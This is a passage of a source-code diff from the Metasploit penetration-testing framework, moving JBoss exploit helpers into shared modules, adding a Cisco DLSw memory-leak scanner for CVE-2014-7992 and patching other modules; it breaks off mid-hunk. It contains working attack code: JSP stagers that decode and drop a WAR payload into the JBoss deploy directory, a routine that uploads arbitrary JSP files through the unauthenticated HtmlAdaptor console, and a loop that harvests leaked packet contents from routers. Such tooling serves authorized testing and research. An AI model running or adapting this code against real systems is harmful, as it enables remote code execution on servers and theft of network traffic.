self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
|
@ -273,7 +281,6 @@ protected
|
|||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :handler_thread # :nodoc:
|
||||
attr_accessor :handler_queue # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
end
|
||||
|
||||
|
|
|
@ -53,6 +53,10 @@ class Module
|
|||
include Msf::Module::UI
|
||||
include Msf::Module::UUID
|
||||
|
||||
# The key where a comma-separated list of Ruby module names will live in the
|
||||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||
|
||||
# Make include public so we can runtime extend
|
||||
public_class_method :include
|
||||
|
||||
|
@ -142,7 +146,6 @@ class Module
|
|||
# Creates a fresh copy of an instantiated module
|
||||
#
|
||||
def replicant
|
||||
|
||||
obj = self.class.new
|
||||
self.instance_variables.each { |k|
|
||||
v = instance_variable_get(k)
|
||||
|
@ -154,9 +157,34 @@ class Module
|
|||
obj.user_input = self.user_input
|
||||
obj.user_output = self.user_output
|
||||
obj.module_store = self.module_store.clone
|
||||
|
||||
obj.perform_extensions
|
||||
obj
|
||||
end
|
||||
|
||||
# Extends self with the constant list in the datastore
|
||||
# @return [void]
|
||||
def perform_extensions
|
||||
if datastore[REPLICANT_EXTENSION_DS_KEY].present?
|
||||
if datastore[REPLICANT_EXTENSION_DS_KEY].respond_to?(:each)
|
||||
datastore[REPLICANT_EXTENSION_DS_KEY].each do |const|
|
||||
self.extend(const)
|
||||
end
|
||||
else
|
||||
fail "Invalid settings in datastore at key #{REPLICANT_EXTENSION_DS_KEY}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @param[Constant] One or more Ruby constants
|
||||
# @return [void]
|
||||
def register_extensions(*rb_modules)
|
||||
datastore[REPLICANT_EXTENSION_DS_KEY] = [] unless datastore[REPLICANT_EXTENSION_DS_KEY].present?
|
||||
rb_modules.each do |rb_mod|
|
||||
datastore[REPLICANT_EXTENSION_DS_KEY] << rb_mod unless datastore[REPLICANT_EXTENSION_DS_KEY].include? rb_mod
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unduplicated class associated with this module.
|
||||
#
|
||||
|
|
|
@ -19,7 +19,12 @@ class Msf::Post < Msf::Module
|
|||
|
||||
include Msf::PostMixin
|
||||
|
||||
def setup; end
|
||||
def setup
|
||||
m = replicant
|
||||
if m.actions.length > 0 && !m.action
|
||||
raise Msf::MissingActionError, "Please use: #{m.actions.collect {|e| e.name} * ", "}"
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
Msf::MODULE_POST
|
||||
|
|
|
@ -3,6 +3,8 @@
|
|||
module Msf::Post::Common
|
||||
|
||||
def rhost
|
||||
return nil unless session
|
||||
|
||||
case session.type
|
||||
when 'meterpreter'
|
||||
session.sock.peerhost
|
||||
|
|
|
@ -5,13 +5,17 @@ module Msf
|
|||
module HTTP
|
||||
module JBoss
|
||||
require 'msf/http/jboss/base'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/bean_shell'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/deployment_file_repository'
|
||||
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss::Base
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::BeanShell
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
|
|||
datastore['VERB']
|
||||
end
|
||||
|
||||
|
||||
# Try to auto detect the target architecture and platform
|
||||
#
|
||||
# @param [Array] The available targets
|
||||
# @return [Msf::Module::Target, nil] The detected target or nil
|
||||
def auto_target(available_targets)
|
||||
if http_verb == 'HEAD'
|
||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||
else
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
plat = detect_platform(res)
|
||||
unless plat
|
||||
print_warning('Unable to detect platform!')
|
||||
return nil
|
||||
end
|
||||
|
||||
arch = detect_architecture(res)
|
||||
unless arch
|
||||
print_warning('Unable to detect architecture!')
|
||||
return nil
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
|
||||
end
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
|
||||
|
||||
java_targets[0]
|
||||
end
|
||||
|
||||
# Query the server information from HtmlAdaptor
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
|
||||
def query_serverinfo
|
||||
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => http_verb,
|
||||
'vars_get' =>
|
||||
{
|
||||
'action' => 'inspectMBean',
|
||||
'name' => 'jboss.system:type=ServerInfo'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
|
||||
# @return [String, nil] The target platform or nil
|
||||
def detect_platform(res)
|
||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
|
||||
# @return [String, nil] The target architecture or nil
|
||||
def detect_architecture(res)
|
||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||
arch = $1
|
||||
if arch =~ /(x86|i386|i686)/i
|
||||
return ARCH_X86
|
||||
elsif arch =~ /(x86_64|amd64)/i
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
|
||||
# Upload a text file with DeploymentFileRepository.store()
|
||||
#
|
||||
# @param base_name [String] The destination base name
|
||||
# @param jsp_name [String] The destanation file name
|
||||
# @param content [String] The content of the file
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||
def upload_file(base_name, jsp_name, content)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||
params['methodName'] = 'store'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = base_name + '.war'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg1'] = jsp_name
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg2'] = '.jsp'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg3'] = content
|
||||
params['argType'] = 'boolean'
|
||||
params['arg4'] = 'True'
|
||||
|
||||
opts = {
|
||||
'method' => http_verb,
|
||||
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||
}
|
||||
|
||||
if http_verb == 'POST'
|
||||
opts.merge!('vars_post' => params)
|
||||
else
|
||||
opts.merge!('vars_get' => params)
|
||||
end
|
||||
|
||||
send_request_cgi(opts)
|
||||
end
|
||||
|
||||
# Delete a file with DeploymentFileRepository.remove().
|
||||
#
|
||||
# @param folder [String] The destination folder name
|
||||
# @param name [String] The destination file name
|
||||
# @param ext [String] The destination file extension
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||
def delete_file(folder, name, ext)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||
params['methodName'] = 'remove'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = folder
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg1'] = name
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg2'] = ext
|
||||
|
||||
opts = {
|
||||
'method' => http_verb,
|
||||
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||
}
|
||||
|
||||
if http_verb == 'POST'
|
||||
opts.merge!('vars_post' => params)
|
||||
timeout = 5
|
||||
else
|
||||
opts.merge!('vars_get' => params)
|
||||
timeout = 30
|
||||
end
|
||||
send_request_cgi(opts, timeout)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
# Generate a stager JSP to write the second stager to the
|
||||
# deploy/management directory. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
#
|
||||
# @param stager_base [String] The name of the base of the stager.
|
||||
# @param stager_jsp [String] The name name of the jsp stager.
|
||||
# @return [String] The JSP head stager.
|
||||
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||
#{content_var} = request.getParameter(parameterName);
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e) { }
|
||||
%>
|
||||
EOT
|
||||
head_stager_jsp_code
|
||||
end
|
||||
|
||||
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||
# This is used to bypass the size limit for GET/HEAD requests.
|
||||
#
|
||||
# @param app_base [String] The name of the WAR app to write.
|
||||
# @return [String] The JSP stager.
|
||||
def stager_jsp_with_payload(app_base, encoded_payload)
|
||||
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
|
||||
stager_jsp = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e){ }
|
||||
%>
|
||||
EOT
|
||||
|
||||
stager_jsp
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -96,7 +96,7 @@ module PacketDispatcher
|
|||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
rpkt = send_queue.pop
|
||||
rpkt = send_queue.shift
|
||||
resp.body = rpkt || ''
|
||||
begin
|
||||
cli.send_response(resp)
|
||||
|
|
|
@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
case action.name
|
||||
when 'Deploy'
|
||||
unless File.exist?(datastore['WARFILE'])
|
||||
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||
print_error("WAR file not found")
|
||||
return
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'])
|
||||
deploy_action(app_base, war_data)
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'UDP_SECRET', 'GATEWAY', 'NETMASK')
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run_batch_size
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'socket'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco DLSw Information Disclosure Scanner',
|
||||
'Description' => %q(
|
||||
This module implements the DLSw information disclosure retrieval. There
|
||||
is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
|
||||
that allows an unuthenticated remote attacker to retrieve the partial
|
||||
contents of packets traversing a Cisco router with DLSw configured
|
||||
and active.
|
||||
),
|
||||
'Author' => [
|
||||
'Tate Hansen', # Vulnerability discovery
|
||||
'John McLeod', # Vulnerability discovery
|
||||
'Kyle Rainey' # Built lab to recreate vulnerability and help test
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-7992'],
|
||||
['URL', 'https://github.com/tatehansen/dlsw_exploit']
|
||||
],
|
||||
'DisclosureDate' => 'Nov 17 2014',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2067),
|
||||
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_response(size = 72)
|
||||
connect
|
||||
response = sock.get_once(size)
|
||||
disconnect
|
||||
response
|
||||
end
|
||||
|
||||
# Called when using check
|
||||
def check_host(_ip)
|
||||
print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)")
|
||||
response = get_response
|
||||
|
||||
if response.blank?
|
||||
vprint_status("#{peer}: no response")
|
||||
Exploit::CheckCode::Safe
|
||||
elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
|
||||
vprint_good("#{peer}: Detected DLSw protocol")
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'dlsw'
|
||||
)
|
||||
# TODO: check that response has something that truly indicates it is vulnerable
|
||||
# and not simply that it responded
|
||||
unless response[18..72].scan(/\x00/).length == 54
|
||||
print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes")
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: references,
|
||||
info: "Module #{fullname} collected #{response.length} bytes"
|
||||
)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
else
|
||||
vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data")
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run_host(ip)
|
||||
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||
|
||||
dlsw_data = ''
|
||||
until dlsw_data.length > datastore['LEAK_AMOUNT']
|
||||
response = get_response
|
||||
dlsw_data << response[18..72] unless response.blank?
|
||||
end
|
||||
loot_and_report(dlsw_data)
|
||||
end
|
||||
|
||||
def loot_and_report(dlsw_leak)
|
||||
path = store_loot(
|
||||
'dlsw.packet.contents',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
dlsw_leak,
|
||||
'DLSw_leaked_data',
|
||||
'DLSw packet memory leak'
|
||||
)
|
||||
print_status("#{peer}: DLSw leaked data stored in #{path}")
|
||||
end
|
||||
end
|
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
connect
|
||||
|
||||
sock.put("GET /_vti_inf.html HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + "Keep-Alive: 300\r\n" +
|
||||
"Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" + "User-Agent: " +
|
||||
"Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" + "User-Agent: " +
|
||||
datastore['UserAgent'] + "\r\n\r\n")
|
||||
|
||||
res = sock.get_once || ''
|
||||
|
@ -95,8 +95,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
method = "method=open+service:#{fpversion}&service_name=/"
|
||||
|
||||
req = "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" +
|
||||
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" +
|
||||
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" +
|
||||
"User-Agent: " + datastore['UserAgent'] + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" +
|
||||
"X-Vermeer-Content-Type: application/x-www-form-urlencoded" + "\r\n" +
|
||||
"Content-Length: #{method.length}\r\n\r\n" + method + "\r\n\r\n"
|
||||
|
||||
sock.put(req)
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT')
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK')
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','UDP_SECRET','GATEWAY','NETMASK')
|
||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pandora FMS SQLi Remote Code Execution',
|
||||
'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit multiple issues in order to gain remote
|
||||
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
|
||||
|
|
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mytarget = target
|
||||
|
||||
if target.name =~ /Automatic/
|
||||
mytarget = auto_target
|
||||
mytarget = auto_target(targets)
|
||||
unless mytarget
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
|
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
handler
|
||||
end
|
||||
|
||||
def auto_target
|
||||
if http_verb == 'HEAD' then
|
||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||
else
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
end
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
||||
return java_targets[0]
|
||||
end
|
||||
|
||||
def query_serverinfo
|
||||
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => http_verb
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
def detect_architecture(res)
|
||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||
arch = $1
|
||||
if (arch =~ /(x86|i386|i686)/i)
|
||||
return ARCH_X86
|
||||
elsif (arch =~ /(x86_64|amd64)/i)
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -1,10 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
||||
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
||||
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||
stager_base = rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp = rand_text_alpha(8+rand(8))
|
||||
stager_jsp = rand_text_alpha(8+rand(8))
|
||||
content_var = rand_text_alpha(8+rand(8))
|
||||
decoded_var = rand_text_alpha(8+rand(8))
|
||||
file_path_var = rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
||||
fos_var = rand_text_alpha(8+rand(8))
|
||||
bw_var = rand_text_alpha(8+rand(8))
|
||||
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
|
||||
p = payload
|
||||
mytarget = target
|
||||
|
||||
if (datastore['VERB'] == 'HEAD')
|
||||
if (http_verb == 'HEAD')
|
||||
print_status("Unable to automatically select a target with HEAD requests")
|
||||
else
|
||||
if (target.name =~ /Automatic/)
|
||||
mytarget = auto_target()
|
||||
mytarget = auto_target(targets)
|
||||
if (not mytarget)
|
||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||
end
|
||||
|
@ -134,101 +120,46 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}).to_s
|
||||
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
# The following jsp script will write the stager to the
|
||||
# deploy/management directory. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
|
||||
<%
|
||||
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
||||
|
||||
|
||||
if (request.getParameter("#{content_var}") != null) {
|
||||
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
#{content_var} = request.getParameter("#{content_var}");
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
EOT
|
||||
|
||||
# The following jsp script will write the exploded WAR file to the deploy/
|
||||
# directory or try to delete it
|
||||
stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
|
||||
<%
|
||||
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||
|
||||
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
}
|
||||
%>
|
||||
|
||||
EOT
|
||||
|
||||
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||
# Depending on the type on the verb we might use a second stager
|
||||
if datastore['VERB'] == "POST" then
|
||||
if http_verb == "POST" then
|
||||
print_status("Deploying stager for the WAR file")
|
||||
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
|
||||
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||
else
|
||||
print_status("Deploying minimal stager to upload the payload")
|
||||
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
||||
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||
|
||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||
# target with multiple requests
|
||||
current_pos = 0
|
||||
